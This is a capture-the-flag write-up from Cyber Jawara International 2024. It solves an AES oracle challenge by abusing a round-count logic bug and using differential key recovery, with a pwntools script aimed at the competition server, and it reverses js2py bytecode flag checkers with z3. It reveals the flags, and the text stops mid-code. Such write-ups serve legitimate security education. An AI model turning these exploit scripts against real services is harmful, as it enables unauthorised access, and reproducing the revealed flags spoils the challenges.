# Writeup Cyber Jawara Internationals'24 ![image](https://hackmd.io/_uploads/Byt9Ls3gJg.png) I with team SNI, merge with TCP1P and MAGER team (TCP1P X SNI X MAGER), finished in 1st place. I manage to solve 6 challenge (1 Cryptography, 2 Reverse Engineering, 3 Blockchain), and i got 4 First Blood🩸 on those challenge. ## Cry/AESaaS🩸 In this challenge, we got binary and connection information. Firstly we will analyze the binary. ```cpp= void __fastcall __noreturn main(int a1, char **a2, char **a3) { __int64 v3; // rdx int choice; // [rsp+Ch] [rbp-44h] BYREF __int64 _plaintext[3]; // [rsp+10h] [rbp-40h] BYREF FILE *flag_stream; // [rsp+28h] [rbp-28h] int i; // [rsp+34h] [rbp-1Ch] char *plaintext; // [rsp+38h] [rbp-18h] void *number_round; // [rsp+40h] [rbp-10h] unsigned int num_printed; // [rsp+4Ch] [rbp-4h] setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); flag_stream = fopen("flag.txt", "r"); if ( !flag_stream ) { perror("Failed to open flag.txt"); exit(0); } fread(&flag, 1uLL, 0x10uLL, flag_stream); fclose(flag_stream); num_printed = 16; ::number_round = 10; while ( 1 ) { print_menu(); printf("Enter choice: "); __isoc99_scanf("%d", &choice); getchar(); switch ( choice ) { case 1: number_round = malloc(0x10uLL); puts("4 Rounds (8 bytes output)"); puts("7 Rounds (12 bytes output)"); puts("10 Rounds (full 16 bytes output)"); printf("Enter number of rounds: "); __isoc99_scanf("%d", number_round); getchar(); switch ( *(_DWORD *)number_round ) { case 4: num_printed = 8; break; case 7: num_printed = 12; break; case 10: num_printed = 16; break; default: puts("Invalid number of rounds"); break; } break; case 2: plaintext = (char *)malloc(0x10uLL); printf("Enter plaintext: "); for ( i = 0; i <= 15; ++i ) plaintext[i] = getchar(); getchar(); break; case 3: v3 = *((_QWORD *)plaintext + 1); _plaintext[0] = *(_QWORD *)plaintext; _plaintext[1] = v3; ::number_round = *(_DWORD *)number_round; encrypt((char *)_plaintext); printf("Encrypted: "); print_ct((unsigned __int8 *)_plaintext, num_printed); break; case 4: free(number_round); free(plaintext); ::number_round = 10; num_printed = 16; break; case 5: exit(0); default: puts("Invalid choice"); break; } } } ``` "tl;dr The program has a menu with 5 choices: 1. Set the encryption round count; a small round count results in truncated output. 2. Input/Set plaintext. 3. Encrypt the plaintext, resulting in an ciphertext output (truncated if using a small round count). 4. Reset data. 5. Exit. Flag is used as a key on encryption, meaning the objective of the chall is to recover the key. To recover the key, we can use the code by Merricx (https://github.com/Merricx/aes-attack). The problem is that the output/ciphertext is truncated. so then, we must find the way to leak the rest of ciphertext. we can do some pwn thing, because the description say `i believe crypto player must be all rounder`. I thing that the intended way, but i just manage to found the unintended way. *\* i'm sorry* Let's a look on menu 1. choice of round is around 4, 7, or 10. but, due to logic errors mistake made by the probset, we can choose other round, and luckily that action will not change value of the `num_printed`, meaning if we set round by 10, and then set round by 1, the `num_printed` value will be 16 even the round is 1. ### **POC** ```python= import random from itertools import product from aes import AES from utils import * from pwn import * KEY = b"abcdefghijklmnopqrstuvwxyz"[:16] # nc 68.183.177.211 18271 HOST = "68.183.177.211" PORT = 18271 io = remote(HOST, PORT) def set_round(n_round): io.sendlineafter(b'Enter choice: ', b'1') io.sendlineafter(b'Enter number of rounds: ', str(n_round).encode()) def encrypt(plaintext): io.sendlineafter(b'Enter choice: ', b'2') io.sendlineafter(b'Enter plaintext: ', plaintext) io.sendlineafter(b'Enter choice: ', b'3') io.recvuntil(b'Encrypted: ') return bytes.fromhex(io.recvline().strip().decode()) # Decryption check def decrypt(ciphertext, key): aes = AES(key, 1) key_expand = aes._key_matrices state = bytes2matrix(ciphertext) add_round_key(state, key_expand[-1]) inv_mix_columns(state) add_round_key(state, key_expand[-1]) return aes.decrypt_block(matrix2bytes(state)) def inv_last_round(s): state = bytes2matrix(s) inv_mix_columns(state) inv_shift_rows(state) return matrix2bytes(state) def generate_sbox_ddt(): table = [[]] * 256 for i in range(256): for j in range(256): diff_input = i ^ j diff_output = sbox[i] ^ sbox[j] if len(table[diff_input]) != 0: table[diff_input][diff_output].update(set([i, j])) else: table[diff_input] = [set() for _ in range(256)] table[diff_input][diff_output] = set([i, j]) return table # Generate 2 random plaintext and encrypt them def generate_random_plaintext_ciphertext_pair(): import string charset = string.ascii_letters + string.digits + string.punctuation charset = charset.encode() p1 = bytes([random.choice(charset) for _ in range(16)]) p2 = bytes([random.choice(charset) for _ in range(16)]) c1 = encrypt(p1) c2 = encrypt(p2) return (p1, p2), (c1, c2) set_round(10) set_round(1) # Generate random known plaintext and its corresponding ciphertext print("[+] Generate 2 random plaintext-ciphertext pairs") plaintext, ciphertext = generate_random_plaintext_ciphertext_pair() # Get plaintext differential and ciphertext differential ptx_diff = xor(plaintext[0], plaintext[1]) ctx_diff = xor(ciphertext[0], ciphertext[1]) # If there's 0 byte in plaintext differential, key on that byte will hard to be recovered (there will be 256 byte possibilities) if 0 in ptx_diff: print("[-] There's \\x00 in plaintext difference. Key recovery will take much longer time") exit() # Apply InvShiftRows on ciphertext differential # If FULL ROUND is used (MixColumns used on last round), we can also apply InvMixColumns before InvShiftRows ctx_diff = inv_last_round(ctx_diff) possible_key = [] sbox_ddt = generate_sbox_ddt() # Perform differential against sbox print("[+] Lookup possible byte using SBOX DDT...") for i in range(16): possible_key.append([]) possible_xy = sbox_ddt[ptx_diff[i]][ctx_diff[i]] for x in possible_xy: possible_key[i].append(x ^ plaintext[0][i]) print("[+] Enumerate remaining possible key...") all_possible_key = product(*possible_key) # Enumerate all remaining possible key and check if decryption results to equal plaintext recovered_key = b'' for possible_key in all_possible_key: check = decrypt(ciphertext[0], bytes(possible_key)) if check == plaintext[0]: recovered_key = bytes(possible_key) break # Output print('[+] Recovered Key:', recovered_key) ``` ### **Flag: CJ{a78bed0c9adf}** ## Rev/Python is Hard We received a zip attachment containing a Python file. When examining the code, it appears to be simply obfuscated using `exec`, `zlib`, and `base64`. We can modify the code like this. ```python= _ = lambda __: __import__("zlib").decompress(__import__("base64").b64decode(__[::-1])) e = ((_)(b"==w5qmujH8/vvP//psFjc8JXcrl4tp5JlgeODd/4zdZKRuM/NKlLA4ChKgKUEAYQn06efJOCg4lQgCoTfTcJ/to+BLQY/vXHAgX7t7DhtNlk7J+53maxB4ciyq3ZFuUmwzByV63xkAFkg+PUh5/uzD1h4mq/KEsNJi7Ba2XJ8vLg76HJ5S/U6oCI+rnFHX0TFmerFOi1NE8DjdZ8EipJrOqmdH2kh2qi6o+JfZlSaHLhVFaZpau8X48kyKn4sS2T7ex1BOChbyXyueTHzWFsXc/LbQQUt+BIXycTcvyOxnR93da1PkK3lox7n/yWx5Nx7Cppbn2NcP3p7qXgOD7ydj...")) while b"exec" in e: e = e.replace(b"exec", b"") e = eval(e.decode()) open("chall2.py", "wb").write(e) ``` this is the result of above python code. ```python= import pyjsparser from js2py.internals.space import Space from js2py.internals import fill_space from js2py.internals.byte_trans import ByteCodeGenerator from js2py.internals.code import Code from js2py.internals.simplex import * from js2py.internals.opcodes import * a = ByteCodeGenerator(Code(debug_mode=False)) s = Space() a.exe.space = s s.exe = a.exe d = pyjsparser.parse("") a.emit(d) fill_space.fill_space(s, a) a.exe.tape = [LOAD_UNDEFINED(), LOAD_STRING(input("Input flag: "),), STORE('inp',), POP(), LOAD_ARRAY(0,), STORE('a',), POP(), LOAD_ARRAY(0,), STORE('b',), POP(), LOAD_ARRAY(0,), STORE('c',), POP(), LOAD_ARRAY(0,), STORE('d',), POP(), LOAD_NUMBER(0.0,), STORE('i',), POP(), JUMP(3,), LABEL(1,), LOAD_NUMBER(4.0,), STORE_OP('i', '+'), POP(), LABEL(3,), LOAD('i',), LOAD_NUMBER(36.0,), BINARY_OP('<',), JUMP_IF_FALSE(2,), LOAD_NUMBER(0.0,), STORE('tmp',), POP(), LOAD_NUMBER(0.0,), STORE('j',), POP(), JUMP(6,), LABEL(4,), POSTFIX(1, -1, 'j'), POP(), LABEL(6,), LOAD('j',), LOAD_NUMBER(4.0,), BINARY_OP('<',), JUMP_IF_FALSE(5,), POP(), LOAD('inp',), LOAD('i',), LOAD('j',), BINARY_OP('+',), LOAD_N_TUPLE(1,), CALL_METHOD_DOT('charCodeAt',), LOAD('j',), LOAD_NUMBER(8.0,), BINARY_OP('*',), BINARY_OP('<<',), STORE_OP('tmp', '|'), JUMP(4,), LABEL(5,), POP(), LOAD('a',), LOAD('tmp',), LOAD_N_TUPLE(1,), CALL_METHOD_DOT('push',), JUMP(1,), LABEL(2,), LOAD_NUMBER(0.0,), STORE('i',), POP(), JUMP(9,), LABEL(7,), LOAD_NUMBER(2.0,), STORE_OP('i', '+'), POP(), LABEL(9,), LOAD('i',), LOAD_NUMBER(36.0,), BINARY_OP('<',), JUMP_IF_FALSE(8,), LOAD_NUMBER(0.0,), STORE('tmp',), POP(), LOAD_NUMBER(0.0,), STORE('j',), POP(), JUMP(12,), LABEL(10,), POSTFIX(1, -1, 'j'), POP(), LABEL(12,), LOAD('j',), LOAD_NUMBER(2.0,), BINARY_OP('<',), JUMP_IF_FALSE(11,), POP(), LOAD('inp',), LOAD('i',), LOAD('j',), BINARY_OP('+',), LOAD_N_TUPLE(1,), CALL_METHOD_DOT('charCodeAt',), LOAD('j',), LOAD_NUMBER(8.0,), BINARY_OP('*',), BINARY_OP('<<',), STORE_OP('tmp', '|'), JUMP(10,), LABEL(11,), POP(), LOAD('b',), LOAD('tmp',), LOAD_N_TUPLE(1,), CALL_METHOD_DOT('push',), JUMP(7,), LABEL(8,), LOAD_NUMBER(0.0,), STORE('i',), POP(), JUMP(15,), LABEL(13,), LOAD_NUMBER(1.0,), STORE_OP('i', '+'), POP(), LABEL(15,), LOAD('i',), LOAD_NUMBER(36.0,), BINARY_OP('<',), JUMP_IF_FALSE(14,), LOAD_NUMBER(0.0,), STORE('tmp',), POP(), LOAD_NUMBER(0.0,), STORE('j',), POP(), JUMP(18,), LABEL(16,), POSTFIX(1, -1, 'j'), POP(), LABEL(18,), LOAD('j',), LOAD_NUMBER(1.0,), BINARY_OP('<',), JUMP_IF_FALSE(17,), POP(), LOAD('inp',), LOAD('i',), LOAD('j',), BINARY_OP('+',), LOAD_N_TUPLE(1,), CALL_METHOD_DOT('charCodeAt',), LOAD('j',), LOAD_NUMBER(8.0,), BINARY_OP('*',), BINARY_OP('<<',), STORE_OP('tmp', '|'), JUMP(16,), LABEL(17,), POP(), LOAD('c',), LOAD('tmp',), LOAD_N_TUPLE(1,), CALL_METHOD_DOT('push',), JUMP(13,), LABEL(14,), LOAD('a',), LOAD_NUMBER(3.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(5.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(15.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD('c',), LOAD_NUMBER(12.0,), LOAD_MEMBER(), LOAD('c',), LOAD_NUMBER(5.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD('c',), LOAD_NUMBER(28.0,), LOAD_MEMBER(), BINARY_OP('-',), BINARY_OP('^',), LOAD('c',), LOAD_NUMBER(19.0,), LOAD_MEMBER(), BINARY_OP('^',), LOAD_NUMBER(1337.0,), BINARY_OP('^',), BINARY_OP('+',), LOAD_NUMBER(1634073638.0,), BINARY_OP('==',), JUMP_IF_FALSE_WITHOUT_POP(28,), POP(), LOAD('a',), LOAD_NUMBER(8.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(16.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(7.0,), LOAD_MEMBER(), BINARY_OP('^',), LOAD('c',), LOAD_NUMBER(2.0,), LOAD_MEMBER(), LOAD('c',), LOAD_NUMBER(33.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD('c',), LOAD_NUMBER(22.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD('c',), LOAD_NUMBER(8.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD_NUMBER(1337.0,), BINARY_OP('-',), BINARY_OP('^',), LOAD_NUMBER(892560024.0,), UNARY_OP('-',), BINARY_OP('==',), BINARY_OP('^',), LABEL(28,), JUMP_IF_FALSE_WITHOUT_POP(27,), POP(), LOAD('a',), LOAD_NUMBER(2.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(10.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(2.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD('c',), LOAD_NUMBER(3.0,), LOAD_MEMBER(), LOAD('c',), LOAD_NUMBER(20.0,), LOAD_MEMBER(), BINARY_OP('+',), BINARY_OP('^',), LOAD('c',), LOAD_NUMBER(7.0,), LOAD_MEMBER(), LOAD('c',), LOAD_NUMBER(25.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD_NUMBER(1337.0,), BINARY_OP('+',), BINARY_OP('^',), BINARY_OP('+',), LOAD_NUMBER(1767917691.0,), BINARY_OP('==',), LABEL(27,), JUMP_IF_FALSE_WITHOUT_POP(26,), POP(), LOAD('a',), LOAD_NUMBER(5.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(14.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(13.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD('c',), LOAD_NUMBER(10.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD('c',), LOAD_NUMBER(11.0,), LOAD_MEMBER(), LOAD('c',), LOAD_NUMBER(29.0,), LOAD_MEMBER(), BINARY_OP('-',), BINARY_OP('^',), LOAD('c',), LOAD_NUMBER(13.0,), LOAD_MEMBER(), LOAD_NUMBER(1337.0,), BINARY_OP('+',), BINARY_OP('^',), BINARY_OP('+',), LOAD_NUMBER(1948741702.0,), BINARY_OP('==',), LABEL(26,), JUMP_IF_FALSE_WITHOUT_POP(25,), POP(), LOAD('a',), LOAD_NUMBER(4.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(4.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(17.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD('c',), LOAD_NUMBER(1.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD('c',), LOAD_NUMBER(16.0,), LOAD_MEMBER(), LOAD('c',), LOAD_NUMBER(27.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD('c',), LOAD_NUMBER(26.0,), LOAD_MEMBER(), BINARY_OP('-',), BINARY_OP('^',), LOAD_NUMBER(1337.0,), BINARY_OP('^',), BINARY_OP('+',), LOAD_NUMBER(1767849594.0,), BINARY_OP('==',), LABEL(25,), JUMP_IF_FALSE_WITHOUT_POP(24,), POP(), LOAD('a',), LOAD_NUMBER(1.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(6.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(12.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD('c',), LOAD_NUMBER(18.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD('c',), LOAD_NUMBER(4.0,), LOAD_MEMBER(), LOAD('c',), LOAD_NUMBER(17.0,), LOAD_MEMBER(), BINARY_OP('-',), BINARY_OP('^',), LOAD('c',), LOAD_NUMBER(23.0,), LOAD_MEMBER(), BINARY_OP('^',), LOAD_NUMBER(1337.0,), BINARY_OP('^',), BINARY_OP('-',), LOAD_NUMBER(1769100975.0,), BINARY_OP('==',), LABEL(24,), JUMP_IF_FALSE_WITHOUT_POP(23,), POP(), LOAD('a',), LOAD_NUMBER(0.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(0.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(1.0,), LOAD_MEMBER(), LOAD('c',), LOAD_NUMBER(9.0,), LOAD_MEMBER(), BINARY_OP('-',), BINARY_OP('^',), LOAD('c',), LOAD_NUMBER(21.0,), LOAD_MEMBER(), LOAD('c',), LOAD_NUMBER(30.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD('c',), LOAD_NUMBER(32.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD_NUMBER(1337.0,), BINARY_OP('+',), BINARY_OP('^',), LOAD_NUMBER(1635149008.0,), BINARY_OP('==',), BINARY_OP('^',), LABEL(23,), JUMP_IF_FALSE_WITHOUT_POP(22,), POP(), LOAD('a',), LOAD_NUMBER(6.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(8.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(9.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD('c',), LOAD_NUMBER(31.0,), LOAD_MEMBER(), LOAD('c',), LOAD_NUMBER(14.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD('c',), LOAD_NUMBER(6.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD('c',), LOAD_NUMBER(35.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD_NUMBER(1337.0,), BINARY_OP('-',), BINARY_OP('^',), BINARY_OP('+',), LOAD_NUMBER(1601459038.0,), BINARY_OP('==',), LABEL(22,), JUMP_IF_FALSE_WITHOUT_POP(21,), POP(), LOAD('a',), LOAD_NUMBER(7.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(3.0,), LOAD_MEMBER(), LOAD('b',), LOAD_NUMBER(11.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD('c',), LOAD_NUMBER(15.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD('c',), LOAD_NUMBER(0.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD('c',), LOAD_NUMBER(24.0,), LOAD_MEMBER(), BINARY_OP('-',), LOAD('c',), LOAD_NUMBER(34.0,), LOAD_MEMBER(), LOAD_NUMBER(1337.0,), BINARY_OP('-',), BINARY_OP('^',), BINARY_OP('+',), LOAD_NUMBER(809005425.0,), BINARY_OP('==',), LABEL(21,), JUMP_IF_FALSE(19,), POP(), LOAD('console',), LOAD_STRING('congrats',), LOAD_N_TUPLE(1,), CALL_METHOD_DOT('log',), JUMP(20,), LABEL(19,), POP(), LOAD('console',), LOAD_STRING('failed',), LOAD_N_TUPLE(1,), CALL_METHOD_DOT('log',), LABEL(20,)] a.exe.compile() a.exe.run(a.exe.space.GlobalObj) ``` If we look in that, we can see bunch of bytecode, and it seems to be javascript bytecode that used in js2py module. js2py module is a javascript translator and interpreter written in python. If we run the code, it will be take input from user, and then resulting congrats or failed depends by input, that means, the objective of the chall is to input a correct flag (flag checker). As usual, when we find the readable bytecode, and it is small, we'll send it to ChatGPT. There is the result, ```javascript= function main() { let inp = prompt("Input flag:"); let a = []; let b = []; let c = []; let d = []; let i = 0; // First loop with step of 4 for (i = 0; i < 36; i += 4) { let tmp = 0; for (let j = 0; j < 4; j++) { tmp |= inp.charCodeAt(i + j) << (j * 8); } a.push(tmp); } // Second loop with step of 2 for (i = 0; i < 36; i += 2) { let tmp = 0; for (let j = 0; j < 2; j++) { tmp |= inp.charCodeAt(i + j) << (j * 8); } b.push(tmp); } // Third loop with step of 1 for (i = 0; i < 36; i += 1) { let tmp = 0; for (let j = 0; j < 1; j++) { tmp |= inp.charCodeAt(i + j) << (j * 8); } c.push(tmp); } // Condition checks let result = ( a[3] + b[5] + b[15] + c[12] + c[5] + c[28] - c[19] ^ 1337 == 1634073638 && (a[8] ^ b[16] ^ b[7] + c[2] + c[33] + c[22] + c[8] - 1337 ^ -892560024) && a[2] + b[10] + b[2] ^ c[3] + c[20] ^ c[7] - c[25] + 1337 ^ 1767917691 && a[5] - b[14] - b[13] + c[10] + c[11] - c[29] ^ c[13] + 1337 ^ 1948741702 && a[4] - b[4] + b[17] - c[1] + c[16] - c[27] - c[26] ^ 1337 ^ 1767849594 && a[1] - b[6] - b[12] + c[18] + c[4] - c[17] ^ c[23] ^ 1337 - 1769100975 && a[0] - b[0] - b[1] - c[9] ^ c[21] - c[30] + c[32] + 1337 ^ 1635149008 && (a[6] - b[8] - b[9] - c[31] - c[14] - c[6] - c[35] - 1337 ^ 1601459038) && (a[7] - b[3] - b[11] - c[15] - c[0] + c[24] - c[34] - 1337 ^ 809005425) ); // Output result if (result) { console.log("congrats"); } else { console.log("failed"); } } main(); ``` When we see the logic, it seems to be z3 able. therefore, we will recreate the logic in python and then pass it to z3, and let z3 solve it. In short, it failed; maybe the code generated by ChatGPT is not perfect, so we need to be understanding the logic manually. In short, i manage to reverse the bytecode back to javscript code. ```javascript= // Input handling let inp = undefined; inp = prompt("Input flag: "); // Initialize arrays and counter let a = []; let b = []; let c = []; let i = 0; // First loop: Process input in groups of 4 characters for (i = 0; i < 36; i += 4) { let tmp = 0; for (let j = 0; j < 4; j++) { tmp |= (inp.charCodeAt(i + j) << (j * 8)); } a.push(tmp); } // Second loop: Process input in groups of 2 characters for (i = 0; i < 36; i += 2) { let tmp = 0; for (let j = 0; j < 2; j++) { tmp |= (inp.charCodeAt(i + j) << (j * 8)); } b.push(tmp); } // Third loop: Process input one character at a time for (i = 0; i < 36; i += 1) { let tmp = 0; for (let j = 0; j < 1; j++) { tmp |= (inp.charCodeAt(i + j) << (j * 8)); } c.push(tmp); } if (// Check 1 (a[3] + ((((b[5] + b[15]) ^ (c[12] + c[5] - c[28])) ^ c[19]) ^ 1337)) == 1634073638 && // Check 2 (b[16] ^ b[7]) ^ (c[2] + c[33] + c[22] + c[8] - 1337) == -892560024 ^ a[8] && // Check 3 a[2] + (((b[10] + b[2]) ^ (c[3] + c[20])) ^ (c[7] - c[25] + 1337)) == 1767917691 && // Check 4 a[5] + (((b[14] - b[13] + c[10]) ^ (c[11] - c[29])) ^ (c[13] + 1337)) == 1948741702 && // Check 5 a[4] + (((b[4] - b[17] + c[1]) ^ (c[16] - c[27] - c[26])) ^ 1337) == 1767849594 && // Check 6 a[1] - ((b[6] - b[12] + c[18]) ^ (c[4] - c[17]) ^ c[23] ^ 1337) == 1769100975 && // Check 7 ((b[0] ^ (b[1] - c[9])) ^ (c[21] - c[30] + c[32] + 1337)) == 1635149008 ^ a[0] && // Check 8 a[6] + ((b[8] - b[9]) ^ (c[31] - c[14] - c[6] - c[35] - 1337)) == 1601459038 && // Check 9 a[7] + ((b[3] - b[11] - c[15] + c[0] - c[24]) ^ (c[34] - 1337)) == 809005425 ){ console.log('congrats'); } else { console.log('failed'); } ``` ### **POC** ```python= import z3 import string charset = string.ascii_letters + string.digits + string.punctuation solver = z3.Solver() z3_flag = [z3.BitVec(f"flag_{i}", 32) for i in range(36)] known_plain = b"javascript_is_easy_isn't_it_" for i in range(0, len(known_plain)): solver.add(z3_flag[i] == known_plain[i]) for i in range(36): solver.add(z3.Or([z3_flag[i] == ord(c) for c in charset])) a = [] for i in range(0, 36, 4): tmp = 0 for j in range(4): tmp |= (z3_flag[i + j] << (j * 8)) a.append(tmp) b = [] for i in range(0, 36, 2): tmp = 0 for j in range(2): tmp |= (z3_flag[i + j] << (j * 8)) b.append(tmp) c = [] for i in range(0, 36, 1): tmp = 0 for j in range(1): tmp |= (z3_flag[i + j] << (j * 8)) c.append(tmp) last_res = z3.If(a[3] + ((((b[5] + b[15]) ^ (c[12] + c[5] - c[28])) ^ c[19]) ^ 1337) == 1634073638, 1, 0) solver.add(last_res != 0) last_res = z3.If((b[16] ^ b[7]) ^ (c[2] + c[33] + c[22] + c[8] - 1337) == -892560024 ^ a[8], 1, 0) solver.add(last_res != 0) last_res = z3.If(a[2] + (((b[10] + b[2]) ^ (c[3] + c[20])) ^ (c[7] - c[25] + 1337)) == 1767917691, 1, 0) solver.add(last_res != 0) last_res = z3.If(a[5] + (((b[14] - b[13] + c[10]) ^ (c[11] - c[29])) ^ (c[13] + 1337)) == 1948741702, 1, 0) solver.add(last_res != 0) last_res = z3.If(a[4] + (((b[4] - b[17] + c[1]) ^ (c[16] - c[27] - c[26])) ^ 1337) == 1767849594, 1, 0) solver.add(last_res != 0) last_res = z3.If(a[1] - ((b[6] - b[12] + c[18]) ^ (c[4] - c[17]) ^ c[23] ^ 1337) == 1769100975, 1, 0) solver.add(last_res != 0) last_res = z3.If(((b[0] ^ (b[1] - c[9])) ^ (c[21] - c[30] + c[32] + 1337)) == a[0] ^ 1635149008, 1, 0) solver.add(last_res != 0) last_res = z3.If(a[6] + ((b[8] - b[9]) ^ (c[31] - c[14] - c[6] - c[35] - 1337)) == 1601459038, 1, 0) solver.add(last_res != 0) last_res = z3.If(a[7] + ((b[3] - b[11] - c[15] + c[0] - c[24]) ^ (c[34] - 1337)) == 809005425, 1, 0) solver.add(last_res != 0) while solver.check() == z3.sat: model = solver.model() flag = [model[z3_flag[i]].as_long() for i in range(36)] print(bytes(flag).decode()) solver.add(z3.Or([z3_flag[i] != model[z3_flag[i]] for i in range(36)])) ``` ### **Flag: CJ{javascript_is_easy_isn't_it_bc80c935}** ## Rev/Javascript is Easy🩸 In this challenge, we receive a zip file containing a Python file. This challenge is similar to the previous one, using the `js2py` library, and the type of challenge is a flag checker. The code inside the Python file is similar; the only differences are the bytecode and how the flag is input. In this challenge, the inputted flag is first validated to contain only uppercase alphabetic characters and numbers (likely to make z3 work easier). Regarding the bytecode, it is divided into 3 parts: 1. Initializing a large array named check2. 2. The encryption process, which I’ll explain further. 3. Checking the encrypted input against the check2 array. Parts 1 and 3 are fairly easy to understand, but Part 2 is more challenging. Although Part 2 is typically a repeatable block that could use looping, this isn’t the case in this challenge, and it has a rather complex code structure. Here is an example of a code block from Part 2. ```python= from js2py.internals.opcodes import * [ LOAD('tmp_inp',), LOAD_MEMBER_DOT('length',), STORE('counter',), POP(), JUMP(7,), LABEL(4,), # try 1 LOAD_UNDEFINED(), POP(), LOAD('inp',), LOAD_NUMBER(14.0,), LOAD_MEMBER(), LOAD('inp',), LOAD_NUMBER(13.0,), LOAD_MEMBER(), BINARY_OP('+',), LOAD('inp',), LOAD_NUMBER(35.0,), LOAD_MEMBER(), BINARY_OP('+',), THROW(), NOP(), LABEL(5,), # catch 1 LOAD_UNDEFINED(), POP(), LOAD_NUMBER(0.0,), STORE('a',), JUMP(11,), LABEL(8,), # try 2 LOAD_UNDEFINED(), LOAD('a',), LOAD_NUMBER(1.0,), BINARY_OP('==',), JUMP_IF_FALSE(12,), POP(), LOAD('e',), LOAD('e',), BINARY_OP('+',), LOAD('e',), BINARY_OP('+',), LOAD('e',), BINARY_OP('+',), THROW(), JUMP(13,), LABEL(12,), POP(), LOAD('e',), LOAD('e',), BINARY_OP('+',), LOAD('e',), BINARY_OP('+',), LOAD('e',), BINARY_OP('+',), LOAD('e',), BINARY_OP('+',), THROW(), LABEL(13,), NOP(), LABEL(9,), # catch 2 LOAD_UNDEFINED(), JUMP(17,), LABEL(14,), # try 3 LOAD_UNDEFINED(), LOAD('counter',), LOAD_NUMBER(2.0,), BINARY_OP('%',), LOAD_NUMBER(0.0,), BINARY_OP('==',), JUMP_IF_FALSE(18,), POP(), LOAD('e1',), STORE_OP('a', '+'), POP(), LOAD('a',), LOAD_NUMBER(2941.0,), BINARY_OP('+',), THROW(), JUMP(19,), LABEL(18,), POP(), LOAD('e1',), STORE_OP('a', '*'), POP(), LOAD('a',), LOAD_NUMBER(7912.0,), BINARY_OP('+',), THROW(), LABEL(19,), NOP(), LABEL(15,), # catch 3 LOAD_UNDEFINED(), POP(), LOAD_NUMBER(0.0,), STORE_OP('counter', '+'), LOAD('counter',), LOAD_NUMBER(2.0,), BINARY_OP('%',), LOAD_NUMBER(1.0,), BINARY_OP('==',), JUMP_IF_FALSE(20,), POP(), LOAD('e2',), LOAD_NUMBER(9974.0,), BINARY_OP('^',), STORE_OP('a', '+'), JUMP(21,), LABEL(20,), POP(), LOAD('e2',), LOAD_NUMBER(2981.0,), BINARY_OP('^',), STORE_OP('a', '+'), LABEL(21,), NOP(), LABEL(16,), # finally 3 LOAD_UNDEFINED(), POP(), LOAD_NUMBER(1.0,), STORE_OP('counter', '+'), LOAD('counter',), LOAD_NUMBER(2.0,), BINARY_OP('%',), LOAD_NUMBER(0.0,), BINARY_OP('==',), JUMP_IF_FALSE(22,), POP(), LOAD_NUMBER(8766.0,), STORE_OP('a', '*'), JUMP(23,), LABEL(22,), POP(), LOAD_NUMBER(4639.0,), STORE_OP('a', '-'), LABEL(23,), NOP(), LABEL(17,), TRY_CATCH_FINALLY(14, 15, 'e2', 16, True, 17), NOP(), # finally 2 LABEL(10,), LOAD_UNDEFINED(), POP(), LOAD_NUMBER(2.0,), STORE_OP('counter', '+'), LOAD('counter',), LOAD_NUMBER(2.0,), BINARY_OP('%',), LOAD_NUMBER(0.0,), BINARY_OP('==',), JUMP_IF_FALSE(24,), POP(), LOAD_NUMBER(688.0,), STORE_OP('a', '^'), JUMP(25,), LABEL(24,), POP(), LOAD_NUMBER(1570.0,), STORE_OP('a', '^'), LABEL(25,), NOP(), LABEL(11,), TRY_CATCH_FINALLY(8, 9, 'e1', 10, True, 11), NOP(), LABEL(6,), # finally 1 LOAD_UNDEFINED(), POP(), LOAD_NUMBER(0.0,), STORE_OP('counter', '+'), NOP(), LABEL(7,), TRY_CATCH_FINALLY(4, 5, 'e', 6, True, 7), POP(), LOAD('check1',), LOAD('a',), LOAD_N_TUPLE(1,), CALL_METHOD_DOT('push',), JUMP(29,), LABEL(26,) ] ``` After analyze the block above, i write the javascript code based on bytecode that provided above. ```javascript= let counter = tmp_inp.length; let check1 = []; // ==== change on every iteration, will be save an array ==== let x = 14; let y = 13; let z = 35; let a = 0; let _a = 1; let _at1 = 2941; let _af1 = 7912; let ctr_add1 = 0; let _at2 = 9974; let _af2 = 2981; let ctr_add2 = 1; let _at3 = 8766; let _af3 = 4639; let ctr_add3 = 2; let _at4 = 688; let _af4 = 1570; let ctr_add4 = 0; // 